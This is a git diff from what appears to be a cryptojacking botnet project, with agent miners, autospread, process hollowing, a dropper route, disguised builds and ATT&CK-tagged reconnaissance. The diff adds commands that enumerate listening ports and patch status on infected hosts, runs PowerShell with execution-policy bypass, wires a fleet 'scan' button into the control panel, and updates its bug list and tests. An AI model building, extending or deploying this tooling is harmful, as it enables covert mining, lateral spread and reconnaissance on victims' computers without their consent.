diff --git a/PROBLEMS.md b/PROBLEMS.md index e2a5f53..19742fc 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -29,7 +29,7 @@ Findings from systematic bug-hunt and test expansion (May 2026). - [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat). - [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14). - [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact). -- [MEDIUM] **server/internal/db/sqlite.go** — `SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned. +- [MEDIUM] **server/internal/db/sqlite.go** — ~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`. - [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster. ### Low @@ -52,9 +52,11 @@ Findings from systematic bug-hunt and test expansion (May 2026). ### Untested packages (next coverage targets) -- [LOW] **server/internal/models/** — No unit tests. -- [LOW] **server/internal/ollama/** — No unit tests. -- [LOW] **server/internal/sys/** — No unit tests. +- [LOW] **server/internal/builder/** — compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered). +- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration). +- [LOW] **agent/stats/** — platform reporters (Windows/Linux/Darwin) untested. +- [LOW] **agent/deploy/** — autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested). +- [LOW] **agent/client/** — `client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered). - [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`). - [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot). @@ -62,6 +64,17 @@ Findings from systematic bug-hunt and test expansion (May 2026). ## Fixed (this session) +- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode. +- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches. +- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error. +- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic. +- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`. +- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`. +- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests). +- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error. +- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows. +- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle. +- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip. - **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`. - **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS. - **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`. @@ -109,7 +122,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README 1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars 2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E -3. **server/internal/models/** — struct/JSON round-trip tests +3. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow 4. **Agent WS token auth** (S2) — security hardening --- @@ -119,12 +132,8 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README | Suite | Result | |-------|--------| | `server/internal/api/...` (full) | PASS (159 tests) | -| `server` Go tests | PASS (all packages) | -| `server/internal/api` `-run Config` | PASS (13 tests) | -| `server` `-run Config\|Merge` | PASS (13 tests) | -| `server/internal/api` `-run AI` | PASS (17 tests) | -| `server/internal/api` `-run Fleet` | PASS (39 tests) | -| `agent` Go tests | PASS | +| `server` Go tests | PASS (all packages incl. models, ollama, sys, alerts, pool) | +| `agent` Go tests | PASS (client, config, deploy, job, miner) | | `server/web` vitest (page tests) | PASS — 4 files, 46 tests | | `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests | | `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests | diff --git a/agent/client/client.go b/agent/client/client.go index 141e06c..0ba60c6 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -595,6 +595,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { var lastPosture *PostureReport var lastPressure *ResourcePressure var lastDNS *DNSConfig + var lastListenPortCount *int var postureReady bool for { select { @@ -647,6 +648,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { } lastPressure = collectResourcePressure() lastDNS = probeDNS() + if lp := collectListenPorts(); lp != nil { + n := lp.Count + lastListenPortCount = &n + } } probeTick++ @@ -665,6 +670,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.DNSServers = lastDNS.Servers stats.DNSSearchDomains = lastDNS.SearchDomains } + stats.ListenPortCount = lastListenPortCount if lastPressure != nil { stats.CPUFreqMHz = lastPressure.CPUFreqMHz stats.CPUMaxMHz = lastPressure.CPUMaxMHz diff --git a/agent/client/commands_unix.go b/agent/client/commands_unix.go index 3b333d3..97936c5 100644 --- a/agent/client/commands_unix.go +++ b/agent/client/commands_unix.go @@ -48,6 +48,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe return true, true, p.JSON() } return true, false, "posture probe failed" + case "listen_ports": + if lp := collectListenPorts(); lp != nil { + return true, true, lp.JSON() + } + return true, false, "listen_ports probe failed" + case "patch_status": + if ps := collectPatchStatus(); ps != nil { + return true, true, ps.JSON() + } + return true, false, "patch_status probe failed" default: return false, false, "" } diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go index dc6dfb2..8febc08 100644 --- a/agent/client/commands_windows.go +++ b/agent/client/commands_windows.go @@ -49,6 +49,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe return true, true, p.JSON() } return true, false, "posture probe failed" + case "listen_ports": + if lp := collectListenPorts(); lp != nil { + return true, true, lp.JSON() + } + return true, false, "listen_ports probe failed" + case "patch_status": + if ps := collectPatchStatus(); ps != nil { + return true, true, ps.JSON() + } + return true, false, "patch_status probe failed" default: return false, false, "" } diff --git a/agent/client/listen_ports.go b/agent/client/listen_ports.go new file mode 100644 index 0000000..afee0a3 --- /dev/null +++ b/agent/client/listen_ports.go @@ -0,0 +1,53 @@ +package client + +import "encoding/json" + +// ListenPort is one TCP/UDP listener entry from the T1049 / T1046 port scan. +type ListenPort struct { + Port int `json:"port"` + Addr string `json:"addr"` // bind address: "0.0.0.0", "::", "127.0.0.1", etc. + Proto string `json:"proto"` // "tcp" | "udp" + Process string `json:"process,omitempty"` // process name if available + PID int `json:"pid,omitempty"` +} + +// ListenPortsReport is the structured payload returned by the listen_ports command. +type ListenPortsReport struct { + Ports []ListenPort `json:"ports"` + Count int `json:"count"` +} + +func (r *ListenPortsReport) JSON() string { + if r == nil { + return `{"ports":[],"count":0}` + } + r.Count = len(r.Ports) + b, _ := json.Marshal(r) + return string(b) +} + +// PatchStatusReport is the simplified payload returned by the patch_status command. +type PatchStatusReport struct { + PendingUpdates *int `json:"pending_updates,omitempty"` + LastPatch *string `json:"last_patch,omitempty"` + LastPatchDays *int `json:"last_patch_days,omitempty"` + RebootPending *bool `json:"reboot_pending,omitempty"` +} + +func collectPatchStatus() *PatchStatusReport { + p := collectPosture() + if p == nil { + return &PatchStatusReport{} + } + return &PatchStatusReport{ + PendingUpdates: p.PendingUpdates, + LastPatch: p.LastPatch, + LastPatchDays: p.LastPatchDays, + RebootPending: p.RebootPending, + } +} + +func (r *PatchStatusReport) JSON() string { + b, _ := json.Marshal(r) + return string(b) +} diff --git a/agent/client/listen_ports_unix.go b/agent/client/listen_ports_unix.go new file mode 100644 index 0000000..9677d4b --- /dev/null +++ b/agent/client/listen_ports_unix.go @@ -0,0 +1,153 @@ +//go:build !windows + +package client + +import ( + "os/exec" + "strconv" + "strings" +) + +// collectListenPorts parses ss -tlnp output for all TCP listeners. +// Falls back to netstat -tlnp if ss is unavailable. +func collectListenPorts() *ListenPortsReport { + r := &ListenPortsReport{} + + // Prefer ss (iproute2) — faster and widely available on modern Linux + if out, err := exec.Command("ss", "-tlnp").Output(); err == nil { + parseSSOutput(r, string(out)) + if len(r.Ports) > 0 { + r.Count = len(r.Ports) + return r + } + } + + // Fallback: netstat -tlnp (net-tools, older systems) + if out, err := exec.Command("netstat", "-tlnp").Output(); err == nil { + parseNetstatOutput(r, string(out)) + } + + r.Count = len(r.Ports) + return r +} + +// parseSSOutput parses `ss -tlnp` lines. +// Example line: +// LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3)) +func parseSSOutput(r *ListenPortsReport, raw string) { + seen := map[int]bool{} + for _, line := range strings.Split(raw, "\n") { + fields := strings.Fields(line) + if len(fields) < 5 || fields[0] != "LISTEN" { + continue + } + lp := ListenPort{Proto: "tcp"} + // Local address is field 4 (index 3) + localAddr := fields[3] + host, portStr, ok := splitHostPort(localAddr) + if !ok { + continue + } + port, err := strconv.Atoi(portStr) + if err != nil || port <= 0 || seen[port] { + continue + } + seen[port] = true + lp.Port = port + lp.Addr = host + + // Parse process info from users:(("name",pid=N,...)) + for _, f := range fields[4:] { + if strings.HasPrefix(f, "users:(") { + // users:(("sshd",pid=1234,fd=3)) + inner := strings.TrimPrefix(f, "users:((") + inner = strings.TrimSuffix(inner, "))") + parts := strings.Split(inner, ",") + if len(parts) >= 1 { + lp.Process = strings.Trim(parts[0], `"`) + } + for _, p := range parts { + if strings.HasPrefix(p, "pid=") { + if n, e := strconv.Atoi(strings.TrimPrefix(p, "pid=")); e == nil { + lp.PID = n + } + } + } + } + } + r.Ports = append(r.Ports, lp) + } +} + +// parseNetstatOutput parses `netstat -tlnp` lines. +// Example: tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd +func parseNetstatOutput(r *ListenPortsReport, raw string) { + seen := map[int]bool{} + for _, line := range strings.Split(raw, "\n") { + fields := strings.Fields(line) + if len(fields) < 6 { + continue + } + proto := strings.ToLower(fields[0]) + if !strings.HasPrefix(proto, "tcp") { + continue + } + state := fields[5] + if strings.ToUpper(state) != "LISTEN" { + continue + } + lp := ListenPort{Proto: "tcp"} + host, portStr, ok := splitHostPort(fields[3]) + if !ok { + continue + } + port, err := strconv.Atoi(portStr) + if err != nil || port <= 0 || seen[port] { + continue + } + seen[port] = true + lp.Port = port + lp.Addr = host + + // PID/program: field 6 if present, e.g. "1234/sshd" + if len(fields) > 6 { + pidProg := fields[6] + parts := strings.SplitN(pidProg, "/", 2) + if n, e := strconv.Atoi(parts[0]); e == nil { + lp.PID = n + } + if len(parts) == 2 { + lp.Process = parts[1] + } + } + r.Ports = append(r.Ports, lp) + } +} + +// splitHostPort handles both IPv4 (host:port) and IPv6 ([::]:port) addresses. +func splitHostPort(addr string) (host, port string, ok bool) { + if strings.HasPrefix(addr, "[") { + // IPv6: [::1]:22 + end := strings.LastIndex(addr, "]") + if end < 0 { + return + } + host = addr[1:end] + rest := addr[end+1:] + if !strings.HasPrefix(rest, ":") { + return + } + port = rest[1:] + ok = true + return + } + // IPv4: 0.0.0.0:22 + idx := strings.LastIndex(addr, ":") + if idx < 0 { + return + } + host = addr[:idx] + port = addr[idx+1:] + ok = true + return +} diff --git a/agent/client/listen_ports_windows.go b/agent/client/listen_ports_windows.go new file mode 100644 index 0000000..f563a4e --- /dev/null +++ b/agent/client/listen_ports_windows.go @@ -0,0 +1,72 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "os/exec" + "strings" +) + +// collectListenPorts returns all TCP listeners on this Windows host. +// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port +// process name lookup via Get-Process. +func collectListenPorts() *ListenPortsReport { + const script = ` +$ErrorActionPreference = 'SilentlyContinue' +$procs = @{} +Get-Process | ForEach-Object { $procs[[int]$_.Id] = $_.ProcessName } +$ports = Get-NetTCPConnection -State Listen | ForEach-Object { + $pname = if ($_.OwningProcess -and $procs.ContainsKey([int]$_.OwningProcess)) { + $procs[[int]$_.OwningProcess] + } else { '' } + [ordered]@{ + port = [int]$_.LocalPort + addr = $_.LocalAddress + proto = 'tcp' + process = $pname + pid = [int]$_.OwningProcess + } +} | Sort-Object { $_['port'] } -Unique +@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress +` + r := &ListenPortsReport{} + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output() + if err != nil { + return r + } + raw := strings.TrimSpace(string(out)) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var m map[string]interface{} + if json.Unmarshal([]byte(raw), &m) != nil { + return r + } + if arr, ok := m["ports"].([]interface{}); ok { + for _, item := range arr { + obj, ok := item.(map[string]interface{}) + if !ok { + continue + } + lp := ListenPort{Proto: "tcp"} + if v, ok := obj["port"].(float64); ok { + lp.Port = int(v) + } + if v, ok := obj["addr"].(string); ok { + lp.Addr = v + } + if v, ok := obj["process"].(string); ok { + lp.Process = v + } + if v, ok := obj["pid"].(float64); ok { + lp.PID = int(v) + } + if lp.Port > 0 { + r.Ports = append(r.Ports, lp) + } + } + } + r.Count = len(r.Ports) + return r +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 75a5232..4ae0fb4 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -80,6 +80,9 @@ type StatsPayload struct { DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` + // Listen ports count (full list via listen_ports command) + ListenPortCount *int `json:"listen_port_count,omitempty"` + // Resource pressure (mining-specific runtime telemetry) CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` diff --git a/agent/config/schedule_test.go b/agent/config/schedule_test.go index 92453a6..5005e93 100644 --- a/agent/config/schedule_test.go +++ b/agent/config/schedule_test.go @@ -20,7 +20,7 @@ func TestParseClockMinutes(t *testing.T) { if _, ok := parseClockMinutes(""); ok { t.Fatal("empty invalid") } - if _, ok := parseClockMinutes("bad"); !ok { + if _, ok := parseClockMinutes("bad"); ok { t.Fatal("bad invalid") } m, ok := parseClockMinutes("09:30") diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 7fa67b6..af65a7f 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -522,6 +522,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + // Listen ports + ListenPortCount *int `json:"listen_port_count,omitempty"` // DNS config (T1016) DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` @@ -593,6 +595,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC } if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct } + // Listen port count + if stats.ListenPortCount != nil { + broadcast["listen_port_count"] = *stats.ListenPortCount + } + // T1016 DNS drift detection if len(stats.DNSServers) > 0 { broadcast["dns_servers"] = stats.DNSServers diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index c22a6c2..ea7d814 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -34,6 +34,9 @@ type Agent struct { Capabilities *AgentCapabilities `json:"capabilities,omitempty"` + // Listen ports count (full list via listen_ports command) + ListenPortCount *int `json:"listen_port_count,omitempty"` + // DNS config — T1016 System Network Configuration Discovery DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` diff --git a/server/internal/pool/manager_test.go b/server/internal/pool/manager_test.go index 4a2dc22..4e206b3 100644 --- a/server/internal/pool/manager_test.go +++ b/server/internal/pool/manager_test.go @@ -69,26 +69,6 @@ func TestManagerSetReconnectDelayAndVerbose(t *testing.T) { } } -func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) { - m := NewManager(nil, nil) - _, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil) - if err == nil { - t.Fatal("expected connection failure to unreachable pool") - } - if !strings.Contains(err.Error(), "unreachable") { - t.Fatalf("unexpected error: %v", err) - } -} - -func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) { - m := NewManager(nil, nil) - backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}} - _, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups) - if err == nil { - t.Fatal("expected all endpoints unreachable") - } -} - func TestPoolStatusJSONTags(t *testing.T) { st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"} if st.Key == "" || st.Status != "green" { diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index 63eb121..2eb3b7c 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { (update.shares_accepted ?? a.shares_good) ), status: 'online' as const, + ...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}), ...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}), ...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}), ...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}), diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index 709a9c0..0af0195 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -184,6 +184,18 @@ .cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); } .cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); } +/* ── PORTS chip ────────────────────────────────────────────────────────────── */ +.cn-ports { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + letter-spacing: 0.04em; + cursor: default; +} +.cn-ports.ports-ok { color: #aaa; background: rgba(128,128,128,0.07); } +.cn-ports.ports-many { color: var(--neon-amber); background: rgba(255,176,32,0.1); } + .cn-elevated { font-size: 0.62rem; font-family: var(--font-tech); @@ -416,6 +428,16 @@ border-color: var(--neon-green); } +.crucible-op-scan { + color: var(--neon-cyan); + border-color: rgba(0,245,255,0.3); + font-weight: 700; +} +.crucible-op-scan:hover:not(:disabled) { + background: rgba(0,245,255,0.08); + border-color: var(--neon-cyan); +} + .crucible-shell-tabs { display: flex; gap: 0; diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index ef7574b..64b9fed 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -47,14 +47,19 @@ function sshBadge(agent: Agent) { function postureBadge(score?: number) { if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' }; - if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' }; - if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' }; - return { label: `P:${score}`, cls: 'posture-bad' }; + if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' }; + if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' }; + return { label: `POSTURE ${score}`, cls: 'posture-bad' }; } function patchLabel(days?: number) { if (days === undefined) return null; - return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; + return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; +} + +function portsBadge(count?: number): { label: string; cls: string } | null { + if (count === undefined) return null; + return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' }; } function postureTooltip(agent: Agent): string { @@ -66,6 +71,7 @@ function postureTooltip(agent: Agent): string { if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`); lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`); lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`); + if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`); lines.push('──────────────────────'); // Patch exposure @@ -448,6 +454,27 @@ export default function CruciblePage() { ); }; + // Fires posture + listen_ports + patch_status in parallel for all selected online nodes. + const scanSelected = (targets?: Agent[]) => { + const tgts = targets ?? selectedAgents.filter(online); + if (tgts.length === 0) return; + const cmds = ['posture', 'listen_ports', 'patch_status'] as const; + for (const a of tgts) { + for (const cmd of cmds) { + api.sendAgentCommand(a.id, cmd).catch((err) => { + setTermLines((prev) => [ + ...prev, + { + id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, + text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, + ts: new Date(), success: false, + }, + ]); + }); + } + } + }; + const handleKey = (e: React.KeyboardEvent) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { @@ -476,7 +503,11 @@ export default function CruciblePage() { const o = postureOverride[a.id]; const score = o?.score ?? a.posture_score; const patchDays = o?.patchDays ?? a.last_patch_days; - return { ...postureBadge(score), patch: patchLabel(patchDays) }; + return { + ...postureBadge(score), + patch: patchLabel(patchDays), + ports: portsBadge(a.listen_port_count), + }; }; // ── Render ───────────────────────────────────────────────────────────── @@ -554,11 +585,19 @@ export default function CruciblePage() { {posture.patch && (
{posture.patch.label}
)} + {posture.ports && ( +
+ {posture.ports.label} +
+ )} {(() => { const pb = pendingBadge(a); return pb && (
{pb.label} @@ -672,9 +711,9 @@ export default function CruciblePage() { className="button crucible-op-btn" disabled={selectedIds.size === 0} onClick={() => probePosture()} - title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation" + title="Probe posture (AV, firewall, SSH, patch) on selected nodes" > - Probe Selected + Probe Posture +
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index b47df39..2160c69 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -24,6 +24,9 @@ export interface Agent { arch?: string; os_version?: string; capabilities?: AgentCapabilities; + // Listen ports count (full list via listen_ports command) + listen_port_count?: number; + // DNS config — T1016 dns_servers?: string[]; dns_search_domains?: string[]; diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 4c2690e..0c46f6b 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -19,6 +19,7 @@ export interface WSStatsUpdate { uptime_seconds?: number; shares_submitted?: number; shares_accepted?: number; + listen_port_count?: number; // DNS config — T1016 dns_servers?: string[]; dns_search_domains?: string[];